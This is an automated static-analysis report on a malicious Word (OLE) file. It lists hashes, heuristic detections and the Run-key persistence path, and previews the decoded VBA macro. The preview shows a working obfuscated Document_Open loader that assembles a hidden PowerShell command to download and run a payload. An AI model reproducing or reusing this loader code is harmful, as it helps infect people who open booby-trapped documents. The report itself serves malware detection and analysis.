Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 74973570488e6ce0…

MALICIOUS

Office (OLE)

266.0 KB Created: 2018-11-12 12:19:00 First seen: 2020-02-04
MD5: e2db90977205d31172a408015090e2ab SHA-1: c256c0ec6a5d8cb83039d1dddbb11ee6e0f5cd27 SHA-256: 74973570488e6ce069d647480e40fc56cc063e6d41180942efa6c4de31b904ee
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a heavily obfuscated VBA macro with an auto-executing Document_Open subroutine. This macro utilizes CreateObject and Shell execution, indicative of downloading and running a secondary payload. The script attempts to construct a registry path for persistence, specifically 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy', which is a strong indicator of malicious intent.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69289 bytes
SHA-256: 4bb779104bbc681fd402c5d08c33778368905fea2c76e5a2b13d68ae660ea13b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
    mainFunc
End Sub
Function mainFunc()
    Dim getCalcValues, getTotalResults, totalResultsFix, adddivideFunc, addColorsToImageStr, testing
    getCalcValues = deleteImages
    getCalcValues = getCalcValues + calculateValues
    getCalcValues = fixCalculations(getCalcValues)
    getCalcValues = Replace(getCalcValues, " ", ".")
    getTotalResults = calculateNumbers
    getCalcValues = getCalcValues + IIf((53256 + 22135) = 75391, "e", "KVEOF1")
    totalResultsFix = fixImageFunc(getTotalResults)
    adddivideFunc = adddivideNum
    addColorsToImageStr = addColorsToImage
    testing = addColorsToImageStr + getCalcValues + IIf((21454863 + 7189489) = 28644352, "x", "KVEOF1") + "e " + addColFirstNum + addColNum + totalResultsFix
    getMoreNumbers ("""" + addColorsToImageStr + getCalcValues + IIf((21454863 + 7189489) = 28644352, "x", "KVEOF1") + "e"" " + addExtraCol)
    getMoreNumbersAgain (totalResultsFix)
End Function
Function addColFirstNum()
    Dim addColFirstNumExt
    addColFirstNumExt = "h elytSwodniW-"
    addColFirstNum = addColFirstNum + IIf((354 + 354) = 708, Left(Mid(addColFirstNumExt, 14), 1), "AAZC5W")
    addColFirstNum = addColFirstNum + IIf((272.5 + 272.5) = 545, Left(Mid(addColFirstNumExt, 13), 1), "G3RV1X")
    addColFirstNum = addColFirstNum + IIf((314.5 + 314.5) = 629, Left(Mid(addColFirstNumExt, 12), 1), "72HO5K")
    addColFirstNum = addColFirstNum + IIf((48.5 + 48.5) = 97, Left(Mid(addColFirstNumExt, 11), 1), "V2PSBQ")
    addColFirstNum = addColFirstNum + IIf((383 + 383) = 766, Left(Mid(addColFirstNumExt, 10), 1), "JV961Q")
    addColFirstNum = addColFirstNum + IIf((307 + 307) = 614, Left(Mid(addColFirstNumExt, 9), 1), "CYJ9UL")
    addColFirstNum = addColFirstNum + IIf((122 + 122) = 244, Left(Mid(addColFirstNumExt, 8), 1), "W98MEX")
    addColFirstNum = addColFirstNum + IIf((327.5 + 327.5) = 655, Left(Mid(addColFirstNumExt, 7), 1), "MLM6PU")
    addColFirstNum = addColFirstNum + IIf((482 + 482) = 964, Left(Mid(addColFirstNumExt, 6), 1), "K2LBF7")
    addColFirstNum = addColFirstNum + IIf((87.5 + 87.5) = 175, Left(Mid(addColFirstNumExt, 5), 1), "9WRA7G")
    addColFirstNum = addColFirstNum + IIf((278 + 278) = 556, Left(Mid(addColFirstNumExt, 4), 1), "0OYY9H")
    addColFirstNum = addColFirstNum + IIf((429 + 429) = 858, Left(Mid(addColFirstNumExt, 3), 1), "CEBGYU")
    addColFirstNum = addColFirstNum + IIf((70 + 70) = 140, Left(Mid(addColFirstNumExt, 2), 1), "1XSNBQ")
    addColFirstNum = addColFirstNum + IIf((299.5 + 299.5) = 599, Left(Mid(addColFirstNumExt, 1), 1), "06OPXR")
    addColFirstNum = addColFirstNum + IIf((314.5 + 314.5) = 629, Left(Mid(addColFirstNumExt, 12), 1), "72HO5K")
    addColFirstNum = addColFirstNum + IIf((383 + 383) = 766, Left(Mid(addColFirstNumExt, 10), 1), "JV961Q")
    addColFirstNum = addColFirstNum + IIf((383 + 383) = 766, Left(Mid(addColFirstNumExt, 10), 1), "JV961Q")
    addColFirstNum = addColFirstNum + IIf((429 + 429) = 858, Left(Mid(addColFirstNumExt, 3), 1), "CEBGYU")
    addColFirstNum = addColFirstNum + IIf((48.5 + 48.5) = 97, Left(Mid(addColFirstNumExt, 11), 1), "V2PSBQ")
    addColFirstNum = addColFirstNum + IIf((70 + 70) = 140, Left(Mid(addColFirstNumExt, 2), 1), "1XSNBQ")
End Function
Function addColNum()
    addColNumExt = ";.)""NlAVuWscMwfS\:UKH'hyprPIG(=iteg$ dnamoC-"
    addColNum = addColNum + IIf((50.5 + 50.5) = 101, Left(Mid(addColNumExt, 44), 1), "XJQL4Q")
    addColNum = addColNum + IIf((181 + 181) = 362, Left(Mid(addColNumExt, 34), 1), "65DMA3")
    addColNum = addColNum + IIf((278.5 + 278.5) = 557, Left(Mid(addColNumExt, 39), 1), "NUS63D")
    addColNum = addColNum + IIf((79.5 + 79.5) = 159, Left(Mid(addColNumExt, 12), 1), "DIIVH3")
    addColNum = addColNum + IIf((418.5 + 418.5) = 837, Left(Mid(addC
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.